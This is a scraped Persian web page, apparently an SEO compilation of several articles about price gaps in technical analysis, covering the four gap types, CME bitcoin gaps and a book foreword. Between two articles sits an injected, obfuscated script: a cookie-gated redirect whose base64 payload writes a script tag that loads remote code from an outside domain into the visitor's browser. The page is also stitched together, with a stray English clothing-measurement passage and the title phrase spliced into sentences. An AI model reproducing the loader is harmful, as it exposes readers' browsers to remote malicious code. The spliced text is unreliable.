شکاف قیمت در تحلیل تکنیکال

انواع شکاف ها

آشنایی با ۴ نوع گپ قیمت در بازار ارزهای دیجیتال!

طی چند ماه گذشته موضوع بحث جامعه ارزهای دیجیتال حول محور گپ یا شکاف های قیمتی موجود در نمودار قراردادهای آتی بیت کوین CME (بازار بورس شیکاگو) بوده است. بیت کوین به طور شبانه روزی در صرافی های بزرگ مورد معامله قرار می گیرد اما روزهای آخر هفته در CME معامله این ارز دیجیتال صورت نمی گیرد. این موضوع اغلب با شروع مجدد معاملات در CME باعث ایجاد شکاف یا یک فضای خالی در نمودار قراردادهای آتی می شود.

یک جمله معروف در فیزیک وجود دارد که می گوید “طبیعت از خلاء تنفر دارد.” این جمله ای است که به ارسطو نسبت داده شده است، اما بعدا توسط ذره گراهایی نظیر اپیکور و لوکرتیوس مورد انتقاد قرار گرفت که در طبیعت هیچ خلایی وجود ندارد، زیرا طیف چگال تر پیرامون ماده، بلافاصله خلاء موجود را پر می ‌کند. مردم این مفهوم را گسترش داده اند تا جایی که امروزه در بسیاری از جنبه های زندگی از جمله تجارت و تجزیه و تحلیل تکنیکال کاربرد دارد.

شکاف‌ های قیمت یا همان گپ‌ ها یا به تعبیر ژاپنی‌ ها پنجره، یکی از مهم‌ ترین مفاهیم در تحلیل تکنیکال به شمار می رود. کلاً منظور از گپ ‌های قیمتی این است که در آن حیطه قیمتی هیچ گونه معامله‌ ای توسط معامله‌ گران صورت نگرفته و باعث ایجاد یک ناحیه‌ توخالی در نمودارها شده که هر یک از این GAPZONE ها یا به‌ اصطلاح محدوده ‌ای که معامله ‌ای در آن صورت نگرفته، می ‌تواند معرف یک ‌روند در آن ناحیه باشد. گپ ‌ها به‌ طورکلی به ‌صورت صعودی و نزولی معرفی می‌ شوند.

باید عنوان کرد که گپ یک فضای پر نشده یا فاصله ای در نمودار است که به دلیل نوسان شدید ایجاد می شود. در روند صعودی، گپ قیمت هنگامی ایجاد می‌ شود که بالاترین قیمت یک کندل کمتر از پایین ترین قیمت کندل بعد از خود باشد. برعکس در روند نزولی، گپ قیمت هنگامی رخ می دهد که پایین ترین قیمت یک کندل بیشتر از بالاترین قیمت کندل بعدی باشد.

گپ ها معمولا در بازار، بخصوص بازار سهام رخ می دهند و می توانند اطلاعات و چشم اندازهای خوبی در مورد حرکات اصلی بازار ارائه دهند. یک گپ وقتی بوجود می آید که قیمت بسته روز قبل و قیمت باز روز بعد با هم تفاوت داشته باشد. در زمان هایی که فراریت قیمت زیاد باشد گپ های میان روزی نیز ایجاد می شود.

۴ نوع گپ قیمت وجود دارد که هر کدام به روش های مختلفی مورد معامله قرار می گیرند. ضروری است که سرمایه گذاران بتوانند بین آنها تفاوت بگذارند.

گپ شکست (Breakaway gap): گپ شکست، نوعی گپ یا شکاف قیمتی است که بر روی سطوح حمایت و یا مقاومت بوجود می آید. این گپ هنگامی مشاهده می ‌شود که قیمت از روند بدون تغییر، دارای یک نوسان قوی باشد. این گپ در ترکیب با الگوهای مشخص در نمودارهایی مانند محدوده های معاملاتی یا مثلث های صعودی و نزولی، برای معامله گران بسیار مفید واقع خواهد شد. گپ شکست با حجم معاملات چشمگیر پس از آن، نشانه ای از روند قوی است و پر شدن آن بعید به نظر می‌ رسد.

گپ رایج (Common gap): همانطور که از اسم این گـپ ها پیداست، کاملا عادی هستند و چیز خاصی در خود ندارند. این گـپ ها معمولا زمانی بوجود می آیند که بازار در حالت بغرنج قرار داشته باشد. اندازه گپ های معمولی نیز بزرگ نیست و در اکثر موارد نیز به سرعت پر می شوند. این گپ به نام گپ الگو، گپ معاملاتی و گپ موقت نیز شناخته می‌ شود. معامله گران این نوع گپ را اغلب در محدوده های معاملاتی و طی نوسان sideway یا همان نوسان متراکم مشاهده می ‌کنند. این گپ ها اغلب پر می‌ شوند، اما اطلاعات بسیار کمی در خصوص شرایط قیمت پس از وقوع خود را ارائه می ‌دهند. این گپ به ندرت در الگوی قیمت نمودارها وجود دارد. باید عنوان کرد که این گپ صرفا محدوده ای است که حداقل مقدار معاملات برای پر کردن گپ وجود دارد.

گپ خستگی (Exhaustion gap): گپ خستگی معمولا در انتهای روندهای بزرگ اتفاق می افتد. در این حالت قیمت گپ پایانی را در جهت روند ساخته و سپس قیمت بر می گردد. این گپ، بعد از یک حرکت تند یا طولانی ‌مدت اتفاق می‌ افتد و معمولا قبل از آن شکاف ‌هایی قرار می ‌گیرند و معمولا با افزایش شدید حجم معاملات همراه است. این گپ نشان ‌دهنده‌ پایان روند فعلی است و در حقیقت، معامله‌ گران از روند موجود در بازار خسته شده ‌اند که این امر نیز باعث تشکیل این گپ می‌ شود و در این نوع گپ نیز حجم معاملات به‌ صورت سنگینی افزایش پیدا می کند، بنابراین این نوع شکاف می ‌تواند به‌عنوان یک شکاف ادامه‌ دهنده نیز محسوب شود، ولی دو عامل باعث تشخیص خواهند شد؛ اولا، اینکه در پایان شکاف قیمت در تحلیل تکنیکال یک‌ روند صعودی یا نزولی است؛ ثانیا، با حجم معاملات سنگین به نسبت میانگین هفته یا روزهای اخیر خود مواجه خواهد بود. این گپ ها، محتمل ترین گپ هایی هستند که باید پر شوند.

گپ اندازه گیری (Measuring gap): به اسم گپ فرار یا گپ ادامه دهنده نیز شناخته می ‌شود. این نوع گپ در میانه الگوی قیمت رخ می ‌دهد و نشانه ای از هجوم خریداران یا فروشندگانی است که عقیده و نظر مشترکی در مورد آینده دارایی ها دارند. گپ های اندازه گیری طی روند بدون تغییر یا محدوده ازدحام رخ نمی ‌دهد، بلکه طی کاهش یا افزایش سریع قیمت رخ می دهند. گپ های فرار معمولاً برای مدت زمان قابل توجهی پر نمی شوند. این نوع از گـپ در طی یک روند رخ می دهد. اگر این گپ در یک روند صعودی رخ دهد، نشان دهنده ادامه حرکت صعودی خواهد بود و اگر در روند نزولی رخ دهد نیز حاکی از وارد شدن فروشندگان بیشتر و ادامه روند نزولی می باشد. البته مشاهده این گـپ ها دلیلی بر ورود بی موقع به بازار نیست، بلکه باید آن را با سایر ابزارهای تکنیکال ترکیب کنید.

توجه به حجم معاملات می ‌تواند به شناخت و تمایز گپ اندازه گیری و گپ خستگی کمک کند. به طور معمول، حجم معاملات زیاد قبل از گپ خستگی رخ می‌ دهد. یکی از اشتباهات رایجی که در خصوص گپ ها رخ می دهد، اشتباه کردن در شناخت گپ اندازه گیری و گپ خستگی است. این موضوع می ‌تواند باعث شود که سرمایه گذار خود را در وضعیت اشتباه قرار دهد و طی نیمه دوم روند صعودی نتواند سود خوبی به دست آورد.

گپ خستگی و گپ اندازه گیری، نوسان قیمت را در جهت های مخالف یکدیگر پیش بینی می‌ کنند، بنابراین شناخت تفاوت های هر کدام بسیار ضرورت دارد. هم‌چنین این نکته قابل ذکر است که به محض پر شدن یک گپ، توقف آن بعید به نظر می‌ رسد، زیرا هیچ محدوده حمایتی یا مقاومتی آنی در این گپ وجود ندارد.

حرف پایانی

احتمال وقوع گپ های اندازه گیری یا گپ های شکست به مراتب کمتر از گپ متداول و گپ خستگی می باشد. درک تفاوت بین انواع گپ ها می تواند به معامله گران و سرمایه گذاران در کسب و کار در هر بازاری کمک کند.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

انواع گپ قیمتی و ویژگی های آن در تحلیل تکنیکال

گپ قیمتی عبارت است از فاصله یا فضای پر نشده در نمودار که به دلیل حرکت سریع قیمت در هر یک از جهت‌ها رخ می‌دهد ، معمولا زمانی شکاف قیمتی در نمودار رخ می‌دهد که اخبار یا هر عامل دیگری منجر می‌شود که حرکت سریع قیمت در هر یک از جهت‌ها در ساعاتی که بازارها معمولاً بسته هستند رخ دهد.

به زبان ساده‌تر می‌توان این گونه بیان کرد که منظور از شکاف‌های قیمتی این می‌باشد که در آن ناحیه قیمتی، معامله‌ای توسط معامله‌گران صورت نگرفته و باعث ایجاد یک ناحیه‌ی توخالی در نمودارها شده است.

شکاف‌ها در بیشتر اوقات در نمودارهای روزانه و ساعتی دیده می‌شوند اما گاهی اوقات در نمودارهای هفتگی و ماهانه نیز دیده می‌شوند، البته در صورت ظاهر شدن در نمودارهای بلندمدت، اهمیت بیشتری خواهند داشت.

ژاپنی‌ها به ‌طورکلی شکاف‌ها را به دو صورت تقسیم‌بندی کردند :

• صعودی (Rising/Bullish) : زمانی ایجاد می‌شود که قیمت ابتدایی کندل دوم بزرگ‌تر از قیمت پایانی قبل از خود باشد .
• نزولی (Falling/Bearish) : زمانی ایجاد می‌شود که قیمت ابتدایی کندل دوم کوچکتر از قیمت پایانی کندل قبل از شکاف قیمت در تحلیل تکنیکال خود باشد .

همچنین تحلیل‌گران غربی شکاف‌ها را به چند مورد تصویر زیر تقسیم‌بندی می‌کنند :

پیشنهاد مطالعه: فارکس

گپ مشترک

گپ مشترک یا ( Common gap ) که به آن ها نیز گپ‌های منطقه‌ای یا گپ‌های تریدینگ می‌گویند، معمولا در ناحیه‌های حمایتی و مقاومتی روزانه نمودار ایجاد می‌شوند و در همین بازه نیز حرکت می‌کنند.

اندازه این نوع شکاف‌ها خیلی بزرگ نیست و معمولا سریع پر می‌شوند و ایجاد آن معمولا به دلایل طبیعی مثل تعطیلی بازار اتفاق می‌افتند. به‌طور کلی هیچ رویداد مهمی در این نوع گپ‌ها رخ نداده است ولی باز هم نباید این نوع شکاف را بی‌اهمیت تلقی کرد زیرا برای نوسان‌گیران کاربرد مناسبی دارد.

نوع دیگری ازگپ‌های عمومی وجود دارند که می‌توانند از کم یا زیاد بودن حجم معاملاتی در تایم‌های پایین‌تر از روزانه نیز به‌ وجود بیایند، به این صورت که هنگامی که در تایم‌های پایین‌تر از روزانه میزان حجم در بازار کم یا زیاد باشد شکل کندل‌های نمودار آن نیز از حالت عادی خارج می‌شوند. معمولا در این نوع کندل‌ها آخرین قیمت یک کندل، با قیمت باز شدن کندل بعدی یکی نیست و همین می‌تواند عاملی باشد که باعث ایجاد پرش قدرتمند در بین دو کندل شود.

مشاهده بیشتر: آموزش پیشرفته فارکس

گپ شکست

گپ شکست یا ( Breakaway gap ) از لحاظ تکنیکال بسیار مهم و نشان‌دهنده آغاز یک حرکت قدرتمند است، به این صورت که با شکست ناحیه‌ی مقاومتی یا حمایتی خود روند قدرتمندی را در جهت روند جدید آغاز می‌کند.

این نوع شکاف هنگامی ایجاد می‌شود که قیمت یک حرکت جهت دار سریع را از منطقه‌ای محدود آغاز می‌کند و این شکاف زمانی بزرگ‌تر می‌شود که با الگوهای واضحی از جمله مثلث‌های صعودی و نزولی و همچنین دامنه‌های معاملاتی همراه شود.

شکاف شکست را می‌توان در بیشتر مواقع سیگنال ادامه دهنده به شمار آورد و همچنین این نوع شکاف معمولا نسبت به شکاف‌های دیگر کمتر احتمال پر شدن آن می‌رود.

گپ ادامه دهنده

گپ ادامه دهنده يا روند ( Continue gap ) که معمولا به آن شکاف فرار Runaway Gap هم می‌گویند معمولا پس از یک پرش قیمت صعودی یا نزولی در میانه روند به وجود می‌آید و این نوع شکاف معمولا پس از مدتی پر می‌شود اما ممکن است این روند زیاد طول بکشد اما با این وجود نوعی اعتماد را برای ورود معامله گران به وجود می‌آورد.

این نوع شکاف در زمان نوسان قیمت یا اصلاح قیمت در یک منطقه محدود ایجاد نمی‌شود، بلکه همانطور که گفته شد در زمان یک افزایش یا کاهش سریع رخ می‌دهند.

پس در نتیجه اگر این شکاف در یک روند صعودی رخ دهد، نشان دهنده ادامه حرکت صعودی می‌باشد و زمانی که در یک روند نزولی ایجاد شود، نشان از ورود تعداد بیشتر فروشنده و در ادامه نزول بیشتر قیمت را دارد.

مشاهده بیشتر: آموزش متاتریدر

گپ فرسودگی

گپ فرسودگی یا خستگی ( Exhaustion gap ) معمولا پس از یک حرکت طولانی مدت یا سریع قیمت به وجود می‌آید و هشداری مبنی بر پایان روند می‌باشد و پس از شکاف قیمت در تحلیل تکنیکال تشکیل آن احتمال تشکیل روند جدید یا الگو جدید می‌رود.

در این نوع شکاف حجم معاملات بسیار افزایش می‌یابد، در نتیجه این نوع شكاف را می‌توان جزو شکاف‌های پایانی در نظر گرفت.

از عواملی که می‌توان برای تشخیص این نوع شکاف در نظر گرفت، اولین مورد این می‌باشد که در پایان یک‌روند صعودی یا نزولی قرار داشته باشد و دومین مورد آن میزان حجم معاملات آن نسبت به گذشته می‌باشد.

پیشنهاد ویژه: سیگنال سهام خارجی

جمع بندی نهایی

در این مقاله به صورت کامل، تمامی انواع شکاف قیمتی یا گپ که می‌تواند در بازار های مالی به وجود آید را مورد بررسی قرار دادیم و درک تفاوت بین انواع شکاف‌ها به سرمایه گذاران و تریدرها کمک می‌کند تا بتوانند سود خوبی را در هر بازاری به دست آورند.

این شکاف‌ها همانطور که در بالاتر گفته شد از دیدگاه معامله گران مختلف تفاوت دارند و برخی فقط آن‌ها را صعودی و نزولی می‌بینند و برخی دیگر آن‌ها را به انواع شکاف قیمت در تحلیل تکنیکال مختلفی که در بالا توضیح داده شد می‌بینند.

به هر حال در هنگام مواجهه با این نوع گپ‌ها معامله گر باید آن را به درستی تشخیص دهد و بتواند در آن لحظه بهترین تصمیم معاملاتی خود را اتخاذ کند.

پیشنهاد ویژه: استراتژی فارکس

سوالات متداول

شکاف شکست چیست؟

گپ یا شکاف قیمتی عبارت است از فاصله یا فضای پر نشده در نمودار که به دلیل حرکت سریع قیمت در هر یک از جهت‌ها رخ می‌دهد.

شکاف قیمتی از دید تحلیل گران ژاپنی به چند دسته تقسیم می‌شود؟

شکاف قیمتی از دید تحلیل گران ژاپنی به دو دسته صعودی و نزولی تقسیم می‌شود.

شکاف قیمتی از دید تحلیل گران غربی به چند دسته تقسیم می‌شود؟

شکاف قیمتی از دید این تحلیل گران به چهار نوع: مشترک، شکست، ادامه دهنده و فرسوده تقسیم می‌شود.

کتاب تحلیل تکنیکال شکاف های قیمت

With your arms relaxed at your sides, measure around the fullest part of your chest.

Measure around the narrowest part of your natural waist, generally around the belly button. To ensure a comfortable fit, keep one finger between the measuring tape and your body.

کتابی که در حال حاضر منتشر شده ترجمه سرکار خانم ریحانه نظام آبادی است که پیش‌تر نیز ترجمه چند کتاب در حوزه بازارهای مالی را بر عهده داشته‌اند. حقیر در ترجمه پیش رو فقط به ویراستاری علمی کتاب پرداخته‌ام ضمن اینکه در قسمت‌های مختلف نیز پیشنهادهایی داشته‌ام تا بر این اساس خوانندگان محترم بتوانند با خواندن این کتاب تا حد زیادی بر دانش تحلیل گری خود بیفزایند.

شکاف‌های قیمت یا به تعبیر ژاپنی‌ها «پنجره» یکی از مهم‌ترین مفاهیم در تحلیل تکنیکال محسوب می‌شود. شاید به جرئت بتوان گفت که هیچ ابزاری در تحلیل تکنیکال و همچنین هیچ استراتژی معاملاتی در بازارهای سرمایه بدون در نظرگیری شکاف‌های قیمت کامل نیست. برای هر معامله‌گری بسیار مهم است که از شکاف‌های قیمت و کاربرد آن‌ها اطلاع کافی داشته باشد. به طور کلی شکاف‌های قیمت را اینگونه تعریف کرده­اند: محدوده‌ای از نمودار قیمت که در آن ناحیه معامله‌ای انجام نشده است؛ به عبارت دیگر هیچ قیمت و حجم معاملاتی در آن ناحیه مشاهده نمی‌شود. یکی از مهم‌ترین دلایل تشکیل این شکاف‌ها این است که نقطه آغازین یک کندل، در نقطه پایانی کندل قبل قرار ندارد و بر این اساس به شکاف قیمت، «شکاف حقیقی» نیز می‌گویند چرا که در نمودار واقعاً یک فضای خالی و تهی ایجاد می‌نماید البته نوع دیگری از شکاف‌ها به نام «شکاف‌های جزئی»وجود دارد که در آن هیچ‌گونه فضای خالی در نمودار قیمت مشاهده نمی‌شود. به طور کلی فاصله یا شکاف عبارت است از:

• نقطه حداقل نرخ در روز جاری بالاتر از نقطه اوج روز گذشته یا نقطه اوج نرخ در روز جاری پایین‌تر از نقطه حداقل روز گذشته است. اغلب در نتیجه انتشار اخبار در طول شب به وجود می‌آید.
• ناهماهنگی میان مبالغی که تاریخ وصول آن‌ها فرا رسیده و میزان وجوه نقد واصل شده. این حالت می‌تواند برای یک بانک یا برای افراد معامله‌گر به وجود آید.
• ناهماهنگی بین سررسید‌ها و جریان‌های نقدی در یک بانک یا دفتر وضعیت یک معامله‌گر. ظهور این ناهماهنگی عملاً حضور نرخ بهره است.

در رابطه با تشکیل شکاف‌های قیمت نقطه نظرات روان‌شناسی خاصی وجود دارد. این شکاف‌ها ممکن است زمانی که به سمت پایین یا بالا تشکیل گردند به‌عنوان یک حمایت یا مقاومت طولانی‌مدت در بازار عمل نمایند. معمولاً پس از تشکیل شکاف، قیمت آن را می‌پوشاند که این قضیه در بیشتر موارد مشاهده می‌گردد و نکته جالب‌تر اینکه پس از پر شدن شکاف قیمتی، بازار بازگشت می‌کند و در جهت تشکیل شکاف پیش می‌رود.

شکاف‌ها، مناطق بسیار مهمی در نمودار‌های بازار هستند که به‌واسطه آن‌ها می‌توان بهتر مناطق حمایت و مقاومت را شناسایی کرد. زمانی که یک شکاف صعودی پر می‌شود کف حفره به ‌عنوان یک ناحیه حمایتی عمل می‌کند. در این موقعیت اگر قیمت در زیر شکاف بسته شود ناحیه حمایت شکسته شده و علامت نزول قیمت را صادر می‌کند. بالعکس زمانی که یک شکاف نزولی پر می‌شود سقف حفره به‌ عنوان یک ناحیه مقاومت عمل می‌کند که در این موقعیت اگر قیمت در بالای شکاف بسته شود ناحیه مقاومت شکسته شده و علامت صعود قیمت را صادر می‌کند.

اغلب شکاف‌های قیمت نشئت‌گرفته از برخی رویدادها می‌باشند برای مثال اخبار و گزارش‌ها اقتصادی که در حدفاصل زمان بسته شدن یک بازار و آغاز بازار بعدی منتشر می‌شوند. احتیاجی نیست که این اخبار و گزارش‌ها مستقیماّ با بازار موردنظر مرتبط باشند بلکه بازار ممکن است از اخبار دیگر شرکت‌ها، گروه‌های صنعتی و حوادث جهانی متأثر گردد.

در شرایطی که هیچ‌گونه خبر یا گزارشی منتشر نشود بازار در قیمت پایانی دوره قبلی خود یا در نزدیکی آن باز می‌شود لیکن اگر اخبار قابل‌توجه یا تقاضای زیاد معامله گران وجود داشته باشد دستورهای معاملاتی افزایش می‌یابد و درنتیجه شکاف‌هایی رو به بالا یا پایین تشکیل می‌گردد که در این مواقع حتی اگر شکاف بسیار کوچک هم باشد باز معتبر است.

شکاف‌های قیمت در بیشتر مواقع در نمودارهای روزانه دیده می‌شوند. شما نمی‌توانید غیر از نقطه آغازین، شکاف‌های واقعی (فضاهای خالی) را در نمودارهای میان‌روزی مشاهده نمایید. البته استثنائاتی در این زمینه وجود دارد برای مثال زمانی که در یک بازار میزان معاملات بسیار زیاد نباشد یا اینکه اخبار اقتصادی در ساعات فعالیت بازار منتشر گردد، ممکن است یک یا چند شکاف قیمت در نمودار میان‌روزی تشکیل گردد؛ ضمن اینکه اگر معاملات به‌طور موقت متوقف شود ممکن است بازار در زمان شروع مجدد، شکافی را ایجاد نماید. در غیر این موارد بیشتر شکاف‌هایی که در نمودارهای میان‌روزی مشاهده می‌شود شکاف‌های کوچک تشکیل‌شده در میان بدنه‌های شمع‌ها است که با توجه به همپوشانی بدنه‌ها و سایه‌ها هیچ فضای خالی در نمودار مشاهده نمی‌شود و بر این اساس شناسایی آن‌ها به مهارت خاصی نیاز دارد.

حقیر بخشی از مباحث شکاف‌های قیمت را در کتاب «الگوهای هارمونیک در بازارهای سرمایه» و همچنین کتاب «مرجع کامل امواج الیوت در بازارهای سرمایه» مطرح کرده‌ام لیکن کار گسترده‌ای بر روی آن انجام نداده‌ام. بررسی منابع موجود در خصوص شکاف‌های قیمت حاکی از فقدان مطالعات نظام‌مند در ارتباط با ماهیت و نحوه تجزیه و تحلیل آن‌ها است. بیشتر کارهایی که اخیراً در زمینۀ تجزیه و تحلیل تکنیکال صورت گرفته بر مبنای مدل‌های ریاضیاتی پیچیده بوده است. حال آنکه بررسی دقیق‌تر یکی از نظریات ساده و بنیادین تجزیه و تحلیل تکنیکال، کاری جالب و در خور توجه خواهد بود ضمن اینکه بررسی شکاف‌های قیمت می‌تواند بخش مهمی از مبحث نوین «پرایس اکشن» یا همان بررسی رفتار قیمت بدون استفاده از اندیکاتورها و اوسیلاتورها باشد. از این رو، کتاب حاضر که جزو معدود منابع موجود در خصوص شکاف‌های قیمت است را به ناشر محترم معرفی نموده تا هر چه سریع‌تر زمینه‌های چاپ این اثر ارزشمند فراهم گردد.

مطالعه این کتاب ارزشمند را به تمام علاقه‌مندان و مشتاقان بازار سرمایه توصیه می‌نمایم ضمن اینکه اگر درصدد کسب دانش و تجربه کامل در تحلیل گری بازار سرمایه هستید از مسیر راهی که مکرراً در کتاب‌های منتشره و دوره‌های آموزشی متذکر شده‌ام و در وب‌گاه شخصی حقیر نیز با عنوان«مسیر یادگیری دانش تحلیل در بازارهای سرمایه» موجود است، غافل نشوید.

شکاف یا گپ قیمت چیست و چگونه می توان در این گپ ها معامله کرد؟

حتما در بازار ارز رمزنگاری در مورد شکاف های CME شنیده اید، اما همه آنها مثل هم نیستند. در این مطلب شکاف قیمت و نحوه استفاده از آن در معاملات را بررسی می کنیم.

طی ماه های گذشته بحث های زیادی پیرامون شکاف های CME (گروه بورس بازرگانی و کالای شیکاگو)در نمودار قراردادهای آتی بیت کوین بوده است. معاملات بیت کوین به صورت 24 ساعته و 7 روز هفته در صرافی های بزرگ ارز رمزنگاری انجام می شوند، اما در آخر هفته این معاملات در CME انجام نمی شوند. به همین دلیل در هنگام از سرگیری معاملات در CME، شکاف یا فضای خالی در نمودار بوجود می آید.

یک گفته مشهور در فیزیک وجود دارد مبنی بر این که : “معمولا فضاهای خالی پر می شوند.” این گفته را به ارسطو نسبت داده اند. وی معتقد بود که هیچ فضای خالی(خلاء) در طبیعت وجود ندارد، چون پیوستگی مواد متراکم اطراف آن بلافاصله خلا اولیه را پر می کند. البته بعدا ذره گرایانی همچون لوکرتیوس و اپیکور از این نظریه انتقاد کردند. مردم این مفهوم را گسترش داده اند و در بسیاری از جنبه های زندگی (از جمله تجارت و تحلیل تکنیکال) از آن استفاده می کنند.

شکاف یا گپ چیست؟

شکاف یا گپ یک فاصله یا فضای پر نشده در نمودار است که در اثر حرکت سریع قیمت در هر یک از جهت ها ایجاد می شود.در یک روند صعودی، گپ وقتی بوجود می آید که یک شمع با بالاترین سطح قیمتی، پایین تر از شمع بعدی با پایین ترین سطح قیمت باشد. برعکس، در یک روند نزولی، گپ زمانی رخ می دهد که یک شمع با پایین ترین سطح قیمتی بالاتر از شمع بعدی با بالاترین سطح قیمت بسته شود.

شکاف ناحیه ای از نمودار قیمتی است که در آن قسمت هیچ معامله‌ای توسط معامله‌گران انجام نمی شود و همین باعث ایجاد یک فضای خالی در نمودارها می شود. گپ ها مناطق مهمی از روند را نشان می‌دهند که با آنها می‌توان نقاط ورود و خروج را بهتر مشخص کرد. بیشتر اوقات،شکاف ها در نمودارهای روزانه یا ساعتی مشهود تر از نمودارهای هفتگی و ماهانه هستند. اما اگر در نمودارهای بلند مدت شکافی ظاهر شود، اهمیت بیشتری خواهد داشت. شکاف قیمت (یا به تعبیر ژاپنی ها پنجره) یکی از مهم ترین مفاهیم در تحلیل تکنیکال به حساب می آید.معامله گران باید اطلاعات کافی درباره شکاف قیمت و کاربرد های آن داشته باشند تا بتوانند سود کافی کسب کنند.

انواع گپ ها

انواع شکاف ها

چهار گپ وجود دارد و روش های معامله در آنها متفاوت هستند. سرمایه گذاران در هنگام سرمایه گذاری باید به این تفاوت ها توجه کنند. چون تشخیص اشتباه گپ ها می تواند منجر به ضرر و زیان آنها شود.

گپ شکست یا Breakaway gap

گپ شکست وقتی بوجود می آید که قیمت از منطقه ای محدود، یک حرکت جهت دار سریع آغاز می کند. این شکاف وقتی با الگو های واضحی مانند دامنه های معاملاتی و مثلث های صعودی و نزولی توام می شود، بزرگتر می شود. یک شکاف شکست با حجم قابل توجه پس از آن نشانه یک روند صعودی قوی بوده و بعید است که پر شود. یک حرکت با حجم پایین به احتمال زیاد قیمت را به این منطقه برگشت خواهد داد. خط پایین گپ های شکست در مقایسه با انواع دیگر کمتر پر می شوند.

به لحاظ تکنیکال، گپ شکست بسیار مهم بوده و نشان دهنده آغاز یک حرکت بسیار قوی است؛ بدین معنا که با شکست منطقه مقاومت یا حمایت، یک حرکت قوی را در جهت روند جدید شروع می کند. معامله گران باید قبل از این شکست اقدام به خرید یا فروش کنند.

گپ معمولی یا Common gap

این شکاف همچنین معروف به گپ منطقه، گپ الگو و گپ موقتی است. بیشتر اوقات، این شکاف ها را می توان در مناطق معاملاتی و در حین حرکت های یکنواخت قیمت مشاهده کرد. اندازه شکاف های معمولی بزرگ نیست و اغلب سریع پر می شوند،اما اطلاعات بسیار کمی در مورد حرکت قیمت بعد از ایجاد شکاف ارائه می دهند. آنها به ندرت در یک الگوی مهم قیمت در نمودار ظاهر می شوند. این شکاف ها مناطقی هستند که کمترین معاملات در آنها انجام شده است.

گپ خستگی یا Exhaustion gap

این شکاف بعد از یک حرکت سریع یا طولانی مدت قیمت بوجود می آید که پایان روند را نشان می دهد و احتمال یک الگو یا روند جدید وجود دارد. آنها در حدود پایان یک الگوی قیمت رخ می شکاف قیمت در تحلیل تکنیکال دهند و نشانه تلاش نهایی برای رسیدن به بالاترین یا پایین ترین سطح قیمتی هستند.

به طور کلی، شکاف های خستگی در منطقه ای از حرکت افزایشی یا کاهشی سریع (اغلب در یک حرکت بزرگ صعودی یا نزولی) ایجاد می شوند. معمولا، حجم معاملات قبل از این شکاف ها افزایش قابل توجهی دارد و اغلب منجر به افزایش شدید قیمت در یک روند صعودی می شوند. این شکاف ها باید پر شوند.

گپ اندازه گیری یا Measuring Gap

این شکاف به شکاف فرار یا شکاف تداوم نیز معروف است. این شکاف ها در میانه یک الگوی قیمت بوجود می آیند و نشانه ای از هجوم خریداران یا فروشندگانی است که نظر مشترکی درباره جهت اصلی حرکت دارایی در آینده دارند. شکاف های اندازه گیری در هنگام اصلاح قیمت یا نوسان قیمت در یک منطقه محدود رخ نمی دهند. آنها در حین یک افزایش یا کاهش سریع قیمت ایجاد می شوند. معمولا، شکاف های فرار تا مدت طولانی پر نمی شوند.

اگر شکاف فرار در یک روند صعودی ایجاد شود، بیانگر ادامه حرکت صعودی خواهد بود و در صورتی که در روند نزولی پدیدار شود، نشان دهنده ورود فروشندگان بیشتر به موقعیت های فروش و ادامه حرکت نزولی است.

معامله در گپ ها

یک اشتباه رایج هنگام معامله در شکاف ها یا گپ ها این است که شکاف خستگی به جای شکاف اندازه گیری اشتباه گرفته می شود. این می تواند باعث ورود بی موقع سرمایه گذار به موقعیت شود. در نتیجه این سرمایه گذار در نیمه دوم روند صعودی سود قابل توجهی را از دست خواهد داد.

معامله گران با زیر نظر گرفتن حجم معاملات می توانند شکاف خستگی را از شکاف اندازه گیری تشخیص دهند. معمولا، قبل از ایجاد یک شکاف خستگی، حجم معاملات به طور قابل توجهی افزایش می یابد.

شکاف های خستگی و اندازه گیری، حرکت در جهت های مخالف را پیش بینی می کنند، بنابراین درک تفاوت آنها ضروری است. همچنین باید به خاطر داشت که هرگاه شکافی شروع به پر شدن کند، به ندرت متوقف می شود. چون در این شکاف مناطق اولیه حمایت و مقاومت وجود ندارند.

احتمال پر شدن شکاف های اندازه گیری و شکست بسیار کمتر از شکاف های خستگی و معمولی است. درک تفاوت بین انواع شکاف ها می تواند به معامله گران و سرمایه گذاران کمک کند تا در هر بازاری درآمد کسب کنند.

نقش شکاف قیمتی در تحلیل تکنیکال(قسمت دوم)

راه‌هایی زیادی برای بهره بردن از شکاف‌های قیمتی وجود دارند که البته چند استراتژی محبوب‌تر از بقیه آن‌ها است. برخی از معامله‌گران زمانی که فاکتورهای تکنیکالی یا بنیادی احتمال شکل‌گیری گپ در روز معاملاتی بعد را افزایش می‌دهد به خرید می‌پردازند.

برای مثال، پس از انتشار گزارش‌های مثبت درآمدی آن‌ها در ساعات تعطیلی بازار خرید می‌کنند و امیدوارند که قیمت در روز معاملاتی بعدی یک شکست به سمت بالا ایجاد کند. ممکن است معامله‌گران وارد موقعیت‌های معاملاتی خرید یا فروش نقدینه یا غیرنقدینه (illiquid) در شروع حرکات قیمتی شوند، به این امید که شکاف قیمتی پر شده و روند ادامه‌دار باشد.

برای مثال، معامله‌گران ممکن است ارزی را که هیچ‌گونه مقاومت مهمی را پیش روی خود ندارد و یک شکاف قیمتی به سمت بالا ایجاد کرده است را به سرعت و با نقدینگی پایین خریداری کند.

برخی از معامله‌گران پس از شکل‌گیری قله یا کف قیمتی در نمودار باعث محو شدن شکاف‌های قیمتی می‌شوند (و از دیگر شکل‌های تحلیل تکنیکال استفاده می‌کنند).

برای مثال، اگر قیمت سهام یک شرکت در نتیجهٔ گزارش‌های نظری (speculative report) یک شکاف قیمتی روبه‌بالا بسازد معامله‌گران باتجربه ممکن است با قرارگیری در موقعیت فروش، این شکاف قیمتی را محو کنند.

در آخر، معامله‌گران می‌توانند پس از رسیدن قیمت به سطح حمایتی سابق و پر شدن شکاف قیمتی خرید کنند. مثالی از این استراتژی در زیر آورده شده است.

